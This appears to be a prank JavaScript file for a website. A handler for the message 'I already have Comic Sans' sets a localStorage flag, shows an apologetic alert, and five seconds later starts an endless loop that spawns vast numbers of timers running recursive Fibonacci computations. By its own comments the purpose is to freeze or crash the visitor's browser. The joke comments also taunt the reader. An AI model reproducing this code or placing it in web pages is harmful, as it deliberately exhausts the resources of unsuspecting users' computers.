iAlReAdYhAvEcOmIcSaNs.JavaScriptFile

function I_ALREADY_HAVE_COMIC_SANS_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK_EXCLAMATION_MARK()
{
    localStorage.setItem("IALREADYHAVECOMICSANSSOSHUTUP", "ok i shut up");
    // After 5 seconds, make their computer explode for no reason by spawning a lot of stuff
    // This happens after 5 seconds so that the alert below actually plays out.
    setTimeout(function() {
        // Spawn a lot of stuff
        while (true)
        {
            // Why spawn one interval when you can spawn 100000000?
            for (let i = 0; i < 100000000; i++)
            setInterval(function() {
                function fibonacci(n) {
                    if (n <= 1) return n;
                    return fibonacci(n - 1) + fibonacci(n - 2);
                  }
                  for (let i = 0; i < 10000; i++)
                  {
                    console.log(fibonacci(fibonacci(fibonacci(100000*i))));
                  }
            }, 1);

            // I <3 stupid

            // this part of the code is unlikely to happen because we spawn like a billion intervals
            console.log("IF YOU SEE THIS THEN JUST PRETEND YOU WON ONE BILLION DOLLERS IN LOTERY");
            //           Yeah, 1 billion dollars away from paying your college fees lol
            //           If you see this text then do NOT regard the console.log statement
            //           above and pretend you're homeless. You did not achieve anything.
        }
    }, 5000);
    alert("oop sowwy wowwy that wont happen again (,,>﹏<,,) ˚ʚ♡ɞ˚");
}